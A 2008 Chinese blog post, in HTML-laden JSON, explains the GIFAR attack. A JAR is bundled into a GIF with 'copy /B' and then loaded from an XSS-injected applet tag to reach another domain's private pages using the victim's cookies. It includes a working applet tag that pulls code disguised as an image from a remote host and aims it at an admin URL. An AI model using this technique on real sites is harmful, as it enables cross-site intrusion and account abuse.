{"id":124,"date":"2008-08-14T10:29:56","date_gmt":"2008-08-14T10:29:56","guid":{"rendered":""},"modified":"2011-04-25T08:39:55","modified_gmt":"2011-04-25T08:39:55","slug":"gifar%e6%80%bb%e7%bb%93","status":"publish","type":"post","link":"https:\/\/www.inbreak.net\/archives\/124.html","title":{"rendered":"GIFAR\u603b\u7ed3"},"content":{"rendered":"

\u4f5c\u8005\uff1a\u7a7a\u865a\u6d6a\u5b50\u5fc3<\/span><\/strong><\/p>\n

 <\/p>\n

PS:\u611f\u8c22\u523a\u5bf9\u672c\u6587\u63d0\u51fa\u5efa\u8bae\u3002<\/span><\/strong><\/p>\n

 <\/p>\n

\u524d\u8a00<\/span><\/o:p><\/span><\/strong><\/p>\n

\u6587\u7ae0\u7684\u5f00\u59cb\uff0c\u5148\u8bf1\u60d1\u4e0b\u90a3\u4e9b\u4e0d\u7814\u7a76<\/span>applet<\/font><\/span>\u7684\u670b\u53cb\u3002<\/span><\/p>\n

 <\/p>\n

Java Applet<\/font><\/span>\u9700\u8981\u5b89\u88c5<\/span>java<\/font><\/span>\u73af\u5883\u624d\u80fd\u6267\u884c\u3002\u5f88\u591a\u670b\u53cb\u4e0d\u7814\u7a76\u7684\u4e3b\u8981\u539f\u56e0\uff0c\u662f\u81ea\u5df1\u8ba4\u4e3a\u666e\u901a\u4e0a\u7f51\u7528\u6237\u4e0d\u4f1a\u5b89\u88c5<\/span>java<\/font><\/span>\u73af\u5883\u3002\u4f46\u662f\u5927\u5bb6\u771f\u7684\u77e5\u9053\u76ee\u524d\u90fd\u6709\u54ea\u4e9b\u4eba\u5b89\u88c5\u4e86<\/span>java<\/font><\/span>\u73af\u5883\u4e48\uff1f\u4f60\u5f53\u7136\u77e5\u9053\u6709\u8fd9\u4e9b\u4eba\uff1a“<\/span>java<\/font><\/span>\u5f00\u53d1\u4eba\u5458”\u3001“\u56e0\u5de5\u4f5c\u9700\u8981\u4f7f\u7528<\/span>java<\/font><\/span>\u8f6f\u4ef6\u7684\u4eba”\uff0c\u4ed6\u4eec\u5b89\u88c5\u4e86<\/span>java<\/font><\/span>\u73af\u5883\u3002\u4f46\u662f\u4f60\u4e0d\u77e5\u9053\u7684\u662f\uff0c\u8fd8\u6709\u4e00\u7fa4\u65e0\u8f9c\u7684\u7528\u6237\u4e5f\u5728\u4e0d\u77e5\u4e0d\u89c9\u4e2d\u5b89\u88c5\u4e86\u3002<\/span><\/p>\n

 <\/p>\n

\u4e2d\u56fd\u4f7f\u7528\u76d7\u7248\u8f6f\u4ef6\u7684\u4eba\u6709\u591a\u5c11\uff1f\u6240\u6709\u7684\u4eba\u90fd\u5728\u7528\uff08\u522b\u8bef\u4f1a\uff0c\u6211\u4e0d\u6253\u51fb\u76d7\u7248\uff09\u3002\u90a3\u4e48\u4f60\u77e5\u9053\u4f7f\u7528\u76d7\u7248\u64cd\u4f5c\u7cfb\u7edf\u7684\u4eba\u6709\u591a\u5c11\u4e48\uff0c\u4f60\u77e5\u9053\u76d7\u7248\u7684\u64cd\u4f5c\u7cfb\u7edf\u662f\u54ea\u91cc\u6765\u7684\u4e48\uff1f\u7ecf\u5e38\u5b89\u88c5\u64cd\u4f5c\u7cfb\u7edf\u7684\u4eba\uff0c\u8fd8\u6709\u7ecf\u5e38\u5230\u7535\u8111\u57ce\u6311\u76d7\u7248\u76d8\u7684\u4eba\uff0c\u90fd\u6216\u591a\u6216\u5c11\u7684\u542c\u8fc7\u4ee5\u4e0b\u8fd9\u4e9b\u540d\u5b57\uff1a“\u96e8\u6797\u6728\u98ce”\uff0c“\u756a\u8304\u82b1\u56ed”\uff0c“\u7535\u8111\u516c\u53f8\u7248”\uff0c“\u6df1\u5ea6”\u7b49\u7b49\u3002\u3002\u3002\u8fd9\u5c31\u662f\u90a3\u4e9b\u7814\u7a76\u5982\u4f55\u8ba9\u64cd\u4f5c\u7cfb\u7edf\u65b9\u4fbf\u5404\u79cd\u4eba\u7fa4\u7684\u4f7f\u7528\uff0c\u628a\u64cd\u4f5c\u7cfb\u7edf\u5236\u4f5c\u6210\u7cfb\u7edf\u76d8\uff0c\u4f9b\u5927\u5bb6\u4e0b\u8f7d\u7684\u4e00\u4e9b\u4eba\u3002\u800c\u90a3\u4e9b\u51fa\u76d7\u7248\u7cfb\u7edf\u76d8\u7684\u5546\u5bb6\uff0c\u5148\u4ece\u8fd9\u4e9b\u5730\u65b9\u4e0b\u8f7d\uff0c\u4e4b\u540e\u7ecf\u8fc7\u523b\u76d8\uff0c\u5356\u7ed9\u666e\u901a\u7528\u6237\u3002\u4f5c\u8005\u7ecf\u8fc7\u4e00\u4e9b\u8c03\u67e5\uff0c\u4e86\u89e3\u5230\u4ee5\u4e0b\u4e00\u4e9b\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\uff0c\u81ea\u5e26<\/span>JAVA<\/font><\/span>\u73af\u5883\uff1a<\/span><\/p>\n

 <\/p>\n

\u96e8\u6797\u6728\u98ce<\/span> ——-   <\/span><\/font><\/span>\u96c6\u6210\u5fae\u8f6f<\/span> JAVA <\/font><\/span>\u865a\u62df\u673a\u3002<\/span><\/p>\n

\u756a\u8304\u82b1\u56ed<\/span> GHOST XP SP2 v 3.1   <\/span>—–    <\/span><\/font><\/span>\u96c6\u5408<\/span> MS JAVA <\/font><\/span>\u865a\u62df\u673a<\/span><\/p>\n

\u6df1\u5ea6<\/span>GHOSTXP SP3<\/font><\/span>\u5feb\u901f\u88c5\u673a\u4e13\u4e1a\u7248<\/span>V9.0(NTFS)   <\/span>———-  <\/span><\/font><\/span>\u96c6\u6210<\/span>MSJAVA<\/font><\/span>\u865a\u62df\u673a<\/span><\/p>\n

GhostXP SP3<\/font><\/span>\u7535\u8111\u516c\u53f8\u5b8c\u7f8e\u7279\u522b\u4fee\u6b63\u7248<\/span> v9.1 ——-  <\/span><\/font><\/span>\u4fee\u6b63<\/span>JAVA<\/font><\/span>\u865a\u62df\u673a\u4e0d\u80fd\u542f\u52a8\u7684<\/span>BUG<\/font><\/span><\/p>\n

999<\/font><\/span>\u5b9d\u85cf\u7f51<\/span> GhostXP SP3 <\/font><\/span>\u6d3b\u529b\u7248<\/span> V3.0   <\/span>——–   <\/span><\/font><\/span>\u5fae\u8f6f<\/span> JAVA <\/font><\/span>\u865a\u62df\u673a<\/span><\/p>\n

\u7535\u8111\u5e02\u573a<\/span> GhostXP SP2<\/font><\/span>\u88c5\u673a\u7248<\/span> v3.0<\/font><\/span><\/p>\n

\u5c0f\u8def\u5de5\u4f5c\u5ba4<\/span> GhostXP P2008<\/font><\/span>\u8d3a\u5c81\u7248<\/span>[<\/font><\/span>\u88c5\u673a\u7248<\/span>]<\/font><\/span><\/p>\n

\u6df1\u5ea6\u6280\u672f<\/span> GHOST XP SP3 <\/font><\/span>\u5feb\u901f\u88c5\u673a\u4e13\u4e1a\u7248<\/span> V8.1<\/font><\/span><\/p>\n

\u3002\u3002\u3002\u3002\u3002\u3002<\/span><\/p>\n

 <\/p>\n

\u4ee5\u4e0a\u64cd\u4f5c\u7cfb\u7edf\u90fd\u9644\u5e26<\/span>java<\/font><\/span>\u865a\u62df\u673a\uff0c\u56fd\u5185\u7684\u64cd\u4f5c\u7cfb\u7edf\u5b89\u88c5\u76d8\u6700\u6d41\u884c\u7684\uff0c\u4e5f\u5c31\u8fd9\u51e0\u5bb6\u4e86\uff0c\u90fd\u6709\u4e00\u4e9b\u7248\u672c\u5728\u652f\u6301<\/span>java<\/font><\/span>\u73af\u5883\u3002\u90a3\u4e48\u4f60\u73b0\u5728\u518d\u56de\u7b54\u6211\uff0c\u4e2d\u56fd\u6709\u591a\u5c11\u673a\u5668\u4e0a\u5b89\u88c5\u4e86<\/span>java<\/font><\/span>\u73af\u5883\uff1f<\/span><\/p>\n

 <\/p>\n

\u5728\u4f5c\u8005\u4ee5\u524d\u7684\u6587\u7ae0\u91cc\u66fe\u8bf4\u5230\uff0c\u7814\u7a76<\/span>applet<\/font><\/span>\u5b89\u5168\uff0c\u81f3\u5c11\u80fd\u7978\u5bb3\u4e00\u90e8\u5206\u4eba\u3002\u4f46\u662f\u603b\u6709\u5f88\u591a\u670b\u53cb\u4e0d\u559c\u6b22\u7814\u7a76\uff0c\u597d\u50cf\u8fd9\u73a9\u610f\u5927\u5bb6\u90fd\u4e0d\u7528\u4f3c\u7684\u3002\u4efb\u4f55\u4e00\u4e2a<\/span>Exp<\/font><\/span>\u7684\u6210\u529f\u7387\u90fd\u4e0d\u662f<\/span>100%<\/font><\/span>\uff0c\u5927\u5bb6\u53ea\u60f3\u7814\u7a76\u5982\u4f55\u7528\u522b\u4eba\u7684<\/span>EXP<\/font><\/span>\u53bb\u641e\u7ad9\uff0c\u4f55\u4e0d\u81ea\u5df1\u7814\u7a76\u70b9\u5b9e\u5b9e\u5728\u5728\u7684\u6280\u672f\u5462\uff1f\u51e0\u5929\u524d\uff0c\u5728“\u523a”\u7684<\/span>blog<\/font><\/span>\u4e0a\u770b\u5230\u4ed6\u8bf4“\u56fd\u5185\u597d\u50cf\u6ca1\u4eba\u5173\u6ce8<\/span>GIFAR<\/font><\/span>\u554a\uff0c\u6211\u767d\u8f9b\u82e6\u7801\u8fd9\u4e48\u591a\u5b57\u4e86”\uff0c\u6df1\u611f\u75db\u5fc3\uff0c\u56fd\u5185\u7684\u4eba\u90fd\u53bb\u505a\u4ec0\u4e48\u4e86\uff1f\u521a\u5de7\u4f5c\u8005\u7814\u7a76\u4e86\u4e00\u6bb5\u65f6\u95f4<\/span>applet<\/font><\/span>\u7684\u5b89\u5168\u6027\uff0c\u770b\u5230\u8fd9\u4e2a\u6f0f\u6d1e\u5f88\u5174\u594b\u3002\u523a\u5728\u81ea\u5df1\u7684<\/span>blog<\/font><\/span>\u4e0a\u53d1\u4e86\u4e24\u7bc7<\/span>GIFAR<\/font><\/span>\u7684\u6587\u7ae0\uff0c\u4f5c\u8005\u8ddf\u5e16\u8ba8\u8bba\u4e00\u76f4\u8ddf\u5230<\/span>50<\/font><\/span>\u591a\u7bc7\uff0c\u53ef\u662f\u53cd\u8fc7\u6765\u770b\u770b\uff0c\u597d\u50cf\u5c31\u6211\u4eec\u4e24\u4e2a\u4eba\u5728\u8ba8\u8bba\u76f8\u5173\u6280\u672f\u3002\u539f\u6765\u662f\u523a\u7684\u6587\u7ae0\u5199\u7684\u592a\u4e13\u4e1a\uff0c\u5927\u591a\u6570\u4e0d\u4e86\u89e3<\/span>applet<\/font><\/span>\u7684\u670b\u53cb\u53ef\u80fd\u770b\u4e0d\u592a\u61c2\uff0c\u4e3a\u4e86\u8ba9\u8fd9\u4e2a\u4e1c\u897f\u66f4\u666e\u53ca\uff0c\u66f4\u83dc\u9e1f\u5316\uff0c\u5c31\u6709\u4e86\u8fd9\u7bc7<\/span>GIFAR<\/font><\/span>\u8be6\u89e3\u3002<\/span><\/p>\n

 <\/p>\n

\u6b63\u6587<\/span><\/o:p><\/span><\/strong><\/p>\n

\u6ce8\uff1a\u672c\u7bc7\u6587\u7ae0\u662f\u5bf9\u523a\u5199\u7684\u4e24\u7bc7“\u5173\u4e8e<\/span>GIFAR<\/font><\/span>”\u548c“\u5173\u4e8e<\/span>GIFAR<\/font><\/span>\u7684\u4e00\u4e9b\u8865\u5145\u5206\u6790”\u7684\u8be6\u89e3\uff0c\u540c\u65f6\u4e5f\u5199\u4e86\u70b9\u81ea\u5df1\u5bf9<\/span>GIFAR<\/font><\/span>\u7684\u4e00\u4e9b\u89c1\u89e3\u3002<\/span><\/p>\n

 <\/p>\n

Applet<\/font><\/span>\u672c\u8eab\u7684\u5b89\u5168\u673a\u5236\u662f\u4e0d\u5141\u8bb8\u8de8\u7ad9\u7684\uff0c\u5b83\u53ea\u5141\u8bb8\u81ea\u5df1\u8bbf\u95ee<\/span>applet<\/font><\/span>\u6807\u7b7e\u6240\u5728\u9875\u9762\u7684\u57df\u3002\u4f46\u662f\u5f53<\/span>applet<\/font><\/span>\u6807\u7b7e\u4e2d\u7684<\/span>codebase<\/font><\/span>\u5c5e\u6027\u7ed9\u5b9a\u4e86\u4e00\u4e2a<\/span>URL<\/font><\/span>\uff0c\u8ba9\u5f53\u524d\u9875\u9762\u7684<\/span>applet<\/font><\/span>\u5230\u53e6\u4e00\u4e2a\u57df\u83b7\u53d6<\/span>class<\/font><\/span>\u6216<\/span>jar<\/font><\/span>\u6587\u4ef6\u65f6\uff0c<\/span>applet<\/font><\/span>\u4f1a\u81ea\u52a8\u4e3a\u81ea\u5df1\u6dfb\u52a0\u4e00\u4e2a<\/span>socket permission<\/font><\/span>\uff0c\u4e5f\u5c31\u662f\u6dfb\u52a0\u4e00\u4e2a\u53ef\u4ee5\u5230<\/span>class<\/font><\/span>\u6587\u4ef6\u6240\u5728\u57df\u7684\u6743\u9650\u3002\u4f7f\u7528<\/span>copy \/B<\/font><\/span>\u547d\u4ee4\u53ef\u4ee5\u628a\u4e00\u4e2a<\/span>jar<\/font><\/span>\u6587\u4ef6\u6346\u7ed1\u5230\u4e00\u4e2a<\/span>gif<\/font><\/span>\u4e0a\uff0c\u6346\u7ed1\u540e\uff0c\u540c\u6837\u53ef\u4ee5\u8ba9<\/span>java<\/font><\/span>\u865a\u62df\u673a\u628a\u8fd9\u4e2a<\/span>GIF<\/font><\/span>\u5f53\u6210<\/span>applet<\/font><\/span>\u89e3\u91ca\u6267\u884c\u3002\u8fd9\u4e2a\u6280\u5de7\u4e3a\u6f0f\u6d1e\u7684\u5229\u7528\u63d0\u4f9b\u4e86\u4fbf\u5229\uff0c\u867d\u7136\u6211\u4eec\u4e0d\u80fd\u7ed9\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u4f20<\/span>jar<\/font><\/span>\u6587\u4ef6\uff0c\u4f46\u662f\u6211\u4eec\u6709\u53ef\u80fd\u4f1a\u88ab\u5141\u8bb8\u4e0a\u4f20<\/span>gif<\/font><\/span>\u3002<\/span><\/p>\n

 <\/p>\n

\u4ee5\u4e0b\u662f\u4e00\u4e2a\u5229\u7528<\/span>GIFAR<\/font><\/span>\u6240\u8981\u7528\u5230\u7684<\/span>applet<\/font><\/span>\u6807\u7b7e\uff0c\u8be5\u6807\u7b7e\u53ea\u8981\u5728<\/span>html<\/font><\/span>\u4e2d\u5c31\u4f1a\u6267\u884c<\/span>applet<\/font><\/span>\uff1a<\/span><\/p>\n

 <\/p>\n

\n
XML\/HTML\u4ee3\u7801<\/div>\n
    \n
  1. <<\/span>applet<\/span> <\/span>code<\/span>=<\/span>"cn.isto.XSSJApplet"<\/span> <\/span>width<\/span>=<\/span>"1000"<\/span> <\/span>height<\/span>=<\/span>"200"<\/span> <\/span>codebase<\/span>=<\/span>"http:\/\/www.cnitblog.com\/images\/cnitblog_com\/axis\/"<\/span> <\/span>archive<\/span>=<\/span>"00.JPG"<\/span> <\/span>name<\/span>=<\/span>"xss"<\/span>><\/span>  <\/span><\/span><\/li>\n
  2.         <\/span><<\/span>PARAM<\/span> <\/span>NAME<\/span>=<\/span>"url"<\/span> <\/span>VALUE<\/span>=<\/span>"http:\/\/www.cnitblog.com\/axis\/admin\/"<\/span>><\/span>  <\/span><\/li>\n
  3. <\/<\/span>applet<\/span>><\/span>  <\/span><\/li>\n<\/ol>\n<\/div>\n

     <\/p>\n

    Code<\/font><\/span>\u5c5e\u6027\u8868\u793a<\/span>jar<\/font><\/span>\u6587\u4ef6\u4e2d\u7684<\/span>class<\/font><\/span>\u540d\u79f0\uff0c<\/span>codebase<\/font><\/span>\u8868\u793a<\/span>jar<\/font><\/span>\u6587\u4ef6\u6240\u5728\u7684\u7edd\u5bf9\u8def\u5f84\uff08\u4e0d\u5305\u62ec\u6587\u4ef6\u540d\uff09\uff0c<\/span>archive<\/font><\/span>\u8868\u793a<\/span>jar<\/font><\/span>\u6587\u4ef6\u7684\u6587\u4ef6\u540d\uff0c<\/span>PARAM<\/font><\/span>\u662f\u4e3a\u4e86\u7075\u6d3b\u63a7\u5236\u7ed9<\/span>jar<\/font><\/span>\u4ee3\u7801\u4e2d\u7684\u4e00\u4e9b\u53d8\u91cf\u4f20\u503c\uff0c\u8fd9\u91cc\u7684\u4f20\u7684\u540d\u79f0\u662f<\/span>url<\/font><\/span>\uff0c\u5bf9\u5e94\u7684\u503c\u662f\u4e00\u4e2a\u7f51\u7ad9\u5730\u5740\u3002\u53ef\u4ee5\u6839\u636e\u81ea\u5df1\u8981\u8de8\u7684\u57df\u6765\u6539\u53d8\u8fd9\u4e2a\u5730\u5740\u3002<\/span><\/p>\n

     <\/p>\n

    \u89e3\u91ca\u7684\u6709\u70b9\u62bd\u8c61\uff0c\u770b\u4e0b\u56fe\uff1a<\/span><\/p>\n

     <\/p>\n

    \"image001.png\"<\/a><\/p>\n

     <\/p>\n

    \u5229\u7528\u7684\u73af\u5883\u6309\u7167\u4e0a\u56fe\u6240\u793a\uff0c\u6709\u4e24\u4e2a\u57df\uff0c<\/span>A<\/font><\/span>\u57df\u548c<\/span>B<\/font><\/span>\u57df\u3002\u6211\u4eec\u5728<\/span>A<\/font><\/span>\u57df\u4e0a\u53d1\u73b0\u4e86\u4e00\u4e2a<\/span>XSS<\/font><\/span>\u6f0f\u6d1e\uff0c\u5229\u7528\u6f0f\u6d1e\u5728<\/span>A<\/font><\/span>\u57df\u7684\u67d0\u4e2a\u9875\u9762\u4e0a\u653e\u7f6e\u4e00\u4e2a<\/span>applet<\/font><\/span>\u6807\u7b7e\uff0c<\/span>B<\/font><\/span>\u57df\u6070\u597d\u6709\u4e00\u4e2a\u529f\u80fd\uff0c\u53ef\u4ee5\u4e0a\u4f20<\/span>GIF<\/font><\/span>\u56fe\u7247\u3002\u8981\u5f97\u6548\u679c\u662f\u5728\u8bbf\u95ee<\/span>A<\/font><\/span>\u57df\u7684\u9875\u9762\u540c\u65f6\uff0c\u8bbf\u95ee\u4e00\u4e0b<\/span>B<\/font><\/span>\u57df\u7684\u9690\u79c1\u9875\u9762\uff0c\u4ee5\u8fbe\u5230\u8f85\u52a9\u5165\u4fb5<\/span>B<\/font><\/span>\u57df\u7684\u76ee\u7684\uff0c\u4f46\u662f\u6709\u4e24\u4e2a\u95ee\u9898\uff0c\u4e00\u4e2a\u662f<\/span>B<\/font><\/span>\u57df\u7684<\/span>cookie<\/font><\/span>\u9a8c\u8bc1\uff0c\u53e6\u4e00\u4e2a\u662f\u6d4f\u89c8\u5668\u4e0d\u5141\u8bb8\u8de8\u57df\u8bbf\u95ee\u3002<\/span><\/p>\n

     <\/p>\n

    \u5229\u7528<\/span>GIFAR<\/font><\/span>\uff0c\u5c31\u53ef\u4ee5\u8de8\u8d8a\u8fd9\u4e24\u4e2a\u969c\u788d\u3002<\/span><\/p>\n

     <\/p>\n

    \u4e0b\u9762\u6211\u518d\u8be6\u7ec6\u7684\u89e3\u91ca\u4e00\u4e0b\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u5728\u548c\u523a\u7684\u8ba8\u8bba\u8fc7\u7a0b\u4e2d\uff0c\u95ee\u9898\u96c6\u4e2d\u5728\u4ee5\u4e0b\u51e0\u70b9\uff1a<\/span><\/p>\n

    1\uff0c             <\/span><\/span><\/span>session cookie<\/span><\/font>\uff0c\u548c<\/span>stored cookie<\/font><\/span>\u3002<\/span><\/p>\n

    2\uff0c             <\/span><\/font><\/span><\/span>\u8de8\u57df\u4e4b\u540e\u5bf9\u6240\u8de8\u57df\u7684\u57df\u540d\u95ee\u9898\u3002<\/span><\/p>\n

    3\uff0c             <\/span><\/font><\/span><\/span>\u8de8\u57df\u4e4b\u540e\u5982\u4f55\u53d6<\/span>COOKIE<\/font><\/span>\u3002<\/span><\/p>\n

     <\/p>\n

    \u5148\u8bf4\u7b2c\u4e00\u70b9\uff0c\u8fd9\u4e24\u79cd<\/span>cookie<\/font><\/span>\u6709\u4ec0\u4e48\u533a\u522b\u5462\uff1f\u5176\u5b9e<\/span>session cookie<\/font><\/span>\u6307\u7684\u5c31\u662f\u6211\u4eec\u5e38\u8bf4\u7684<\/span>session<\/font><\/span>\uff0c\u800c<\/span>stored cookie<\/font><\/span>\u5c31\u662f\u6211\u4eec\u5e38\u8bf4\u7684<\/span>cookie<\/font><\/span>\u3002<\/span>Session<\/font><\/span>\u7684\u751f\u5b58\u5468\u671f\u9ed8\u8ba4\u662f\u8fd9\u6837\u7684\uff1a<\/span><\/p>\n

     <\/p>\n

    \u5f53\u7528\u6237\u4f7f\u7528\u6d4f\u89c8\u5668\u8bbf\u95ee\u4e00\u4e2a\u7f51\u7ad9\u7684\u4efb\u4f55\u5730\u65b9\u65f6\uff0c\u7f51\u7ad9\u7684\u670d\u52a1\u5668\u4f1a\u4e3a\u8fd9\u4e2a\u94fe\u63a5\u65b0\u5efa\u4e00\u4e2a<\/span>session<\/font><\/span>\uff0c\u4e3a\u4e86\u6807\u8bc6\u8fd9\u4e2a<\/span>session<\/font><\/span>\u7684\u5355\u4e00\u6027\uff0c\u901a\u5e38\u90fd\u4f1a\u6709\u4e00\u4e2a<\/span>session id<\/font><\/span>\u6765\u6807\u8bc6\u3002\u5f53\u7528\u6237\u5173\u95ed\u4e86\u6d4f\u89c8\u5668\uff0c\u7528\u6237\u5c31\u4e0d\u77e5\u9053\u8fd9\u4e2a<\/span>session<\/font><\/span>\u5b58\u5728\u4e86\uff0c\u4f46\u662f\u670d\u52a1\u5668\u7684\u5185\u5b58\u91cc\u8fd9\u4e2a<\/span>session<\/font><\/span>\u5e76\u6ca1\u6709\u9500\u6bc1\u3002\u56e0\u4e3a\u9ed8\u8ba4<\/span>session<\/font><\/span>\u9500\u6bc1\u7684\u65f6\u95f4\u662f<\/span>30<\/font><\/span>\u5206\u949f\uff0c\u5230\u4e86\u65f6\u95f4\u81ea\u52a8\u9500\u6bc1\uff0c\u6216\u8005\u7531\u7a0b\u5e8f\u53bb\u9500\u6bc1\uff0c\u901a\u5e38\u7a0b\u5e8f\u9500\u6bc1<\/span>session<\/font><\/span>\u65f6\uff0c\u7528\u6237\u7684\u64cd\u4f5c\u90fd\u662f\u7c7b\u4f3c\u4e8e“\u9000\u51fa”\u3001“\u6ce8\u9500”\u7b49\u7b49\u3002\u4e00\u65e6\u7528\u6237\u5173\u95ed\u4e86\u6d4f\u89c8\u5668\uff0c\u6d4f\u89c8\u5668\u5e76\u4e0d\u4f1a\u901a\u77e5\u670d\u52a1\u5668\u9500\u6bc1<\/span>session<\/font><\/span>\uff0c\u4f46\u662f\u65b0\u6253\u5f00\u7684\u6d4f\u89c8\u5668\u518d\u6b21\u8fde\u63a5\u670d\u52a1\u5668\u65f6\uff0c\u670d\u52a1\u5668\u53c8\u4f1a\u4e3a\u8fd9\u6b21\u6d4f\u89c8\u521b\u5efa\u4e00\u4e2a\u65b0<\/span>session<\/font><\/span>\uff0c\u8fd9\u5c31\u5bfc\u81f4\u4e86\u5f88\u591a\u4eba\u4ee5\u4e3a\u6d4f\u89c8\u5668\u5173\u95ed\u540e\uff0c<\/span>session<\/font><\/span>\u81ea\u52a8\u6d88\u5931\u7684\u5047\u8c61\u3002<\/span><\/p>\n

     <\/p>\n

    \u800c<\/span>cookie<\/font><\/span>\u5c31\u4e0d\u4e00\u6837\u4e86\uff0c<\/span>cookie<\/font><\/span>\u9a8c\u8bc1\u901a\u5e38\u4f1a\u5236\u5b9a\u4e00\u4e2a\u65f6\u95f4\uff0c\u6bd4\u5982\u6211\u4eec\u5e38\u5728\u8bba\u575b\u767b\u5f55\u65f6\u770b\u5230\u7684“\u4fdd\u5b58\u4e00\u5e74\uff0c\u4fdd\u5b58\u4e00\u4e2a\u6708\uff0c\u4fdd\u5b58\u4e00\u5929”\u7b49\u7b49\u3002\u4f7f\u7528<\/span>cookie<\/font><\/span>\u7684\u901a\u77e5\uff0c\u6d4f\u89c8\u5668\u4f1a\u5728“<\/span>C:\\Documents and Settings\\Administrator\\Local Settings\\Temporary Internet Files<\/font><\/span>”\uff08\u4e5f\u5c31\u662f\u6d4f\u89c8\u5668\u7f13\u5b58\u6587\u4ef6\u5939\uff09\u8fd9\u4e2a\u6587\u4ef6\u5939\u91cc\u5efa\u7acb\u4e00\u4e2a\u6587\u672c\u6587\u6863\uff0c\u53eb\u505a“<\/span>administrator@www.qq163.txt<\/font><\/span>”\uff0c\u8fd9\u4e2a\u6587\u6863\u91cc\u8bb0\u5f55\u4e86\u7528\u6237\u767b\u5f55\u7684\u4fe1\u606f\u3002\u5f53\u7528\u6237\u4e0b\u6b21\u6253\u5f00\u7f51\u7ad9\u65f6\uff0c\u6d4f\u89c8\u5668\u81ea\u52a8\u53bb\u7f13\u5b58\u53d6\u5f97\u8fd9\u4e2a<\/span>cookie<\/font><\/span>\uff0c\u5e76\u4e14\u653e\u5728\u6bcf\u6b21<\/span>http<\/font><\/span>\u8bf7\u6c42\u91cc\uff0c\u4e00\u8d77\u53d1\u51fa\u53bb\uff0c\u7f51\u7ad9\u670d\u52a1\u5668\u8ba9\u7528\u6237\u901a\u8fc7\u9a8c\u8bc1\uff0c\u8fdb\u884c\u67d0\u79cd\u89e6\u53ca\u9690\u79c1\u7684\u64cd\u4f5c\u3002<\/span><\/p>\n

    GIFAR<\/font><\/span>\u8fd9\u91cc\uff0c\u4f7f\u7528\u7684\u5c31\u662f<\/span>cookie<\/font><\/span>\uff0c\u4e0d\u662f<\/span>session<\/font><\/span>\uff0c\u6240\u4ee5\u66f4\u5bb9\u6613\u51fa\u73b0<\/span>CSRF<\/font><\/span>\u653b\u51fb\u3002<\/span><\/p>\n

     <\/p>\n

    \u518d\u8bf4\u7b2c\u4e8c\u70b9\uff0c\u57df\u540d\u95ee\u9898\u3002\u65e0\u8bba\u662f<\/span>JS<\/font><\/span>\u8fd8\u662f<\/span>applet<\/font><\/span>\uff0c\u90fd\u9650\u5236\u53ea\u80fd\u8bbf\u95ee\u5f53\u524d\u57df\u4e0b\u7684\u5185\u5bb9\u3002\u6bd4\u5982\u8fd9\u4e2a<\/span>JS<\/font><\/span>\u5982\u679c\u662f<\/span>aaa.sohu.com<\/font><\/span>\uff0c\u5c31\u4e0d\u80fd\u8bbf\u95ee<\/span>bbb.sohu.com<\/font><\/span>\u7684\u4e1c\u897f\uff0c\u5982\u679c\u4f60\u8de8\u57df\u8de8\u5230\u4e86<\/span>aaa.sohu.com<\/font><\/span>\uff0c\u5c31\u53ef\u4ee5\u8bbf\u95ee<\/span>aaa.sohu.com<\/font><\/span>\u3002<\/span><\/p>\n

     <\/p>\n

    \u800c<\/span>cookie<\/font><\/span>\u5bf9\u4e8e\u57df\u540d\u7684\u8981\u6c42\u5c31\u6709\u70b9\u66a7\u6627\u4e86\uff0c\u8fd9\u8981\u770b\u5728\u5199\u7a0b\u5e8f\u65f6\uff0c\u4f60\u7684<\/span>cookie<\/font><\/span>\u5236\u5b9a\u7684\u57df\u540d\u662f\u4ec0\u4e48\u3002\u6765\u770b\u4ee5\u4e0b\u8fd9\u6bb5<\/span>jsp<\/font><\/span>\u7a0b\u5e8f\u3002<\/span><\/p>\n

     <\/p>\n

    \n
    java\u4ee3\u7801<\/div>\n
      \n
    1. Cookie ack = new Cookie(“kxlzx”,”password”);   <\/span><\/span><\/li>\n
    2. ack.setDomain(<\/span>".sohu.com"<\/span>);   <\/span><\/li>\n<\/ol>\n<\/div>\n

       <\/p>\n

      \u8fd9\u6bb5<\/span>cookie<\/font><\/span>\u5236\u5b9a\u4e86\u57df\u540d\u4e3a“<\/span>.sohu.com<\/font><\/span>”\u8fd9\u4e2a\u4e00\u7ea7\u57df\u540d\u3002\u5c31\u8868\u793a\u8fd9\u4e2a\u57df\u540d\u4e0b\u6240\u6709\u7684\u4e8c\u7ea7\u57df\u540d\u3001\u4e09\u7ea7\u57df\u540d\u3001\u56db\u7ea7\u3002\u3002\u3002\u90fd\u53ef\u4ee5\u8bbf\u95ee\u8fd9\u4e2a<\/span>cookie<\/font><\/span>\u3002\u800c\u9ed8\u8ba4\u7684<\/span>cookie<\/font><\/span>\u57df\uff0c\u5982\u679c\u4e0d\u6307\u5b9a\u57df\uff0c\u5219\u4f1a\u7531\u7a0b\u5e8f\u81ea\u52a8\u5236\u5b9a\u5230\u5f53\u524d<\/span>JSP<\/font><\/span>\u6587\u4ef6\u6240\u5728\u7684\u57df\u4e0b\u3002\u4f8b\u5982<\/span>http:\/\/www.sohu.com\/a.jsp<\/a><\/font><\/span>\u8fd9\u4e2a<\/span>jsp<\/font><\/span>\u6587\u4ef6\u6240\u5728\u7684\u57df\u662f\u4e8c\u7ea7\u57df\u540d<\/span>www<\/font><\/span>\u4e0b\uff0c\u90a3\u4e48\u4ed6\u7684<\/span>cookie<\/font><\/span>\u5c31\u53ea\u6709\u8fd9\u4e2a\u4e8c\u7ea7\u57df\u540d\u4e0b\u7684\u6587\u4ef6\u624d\u53ef\u4ee5\u8bbf\u95ee\uff0c\u5176\u4ed6\u7684\u57df\u540d\u4f8b\u5982<\/span>img.sohu.com<\/font><\/span>\u5c31\u4e0d\u53ef\u4ee5\u8bbf\u95ee\u8fd9\u4e2a<\/span>cookie<\/font><\/span>\u3002<\/span><\/p>\n

       <\/p>\n

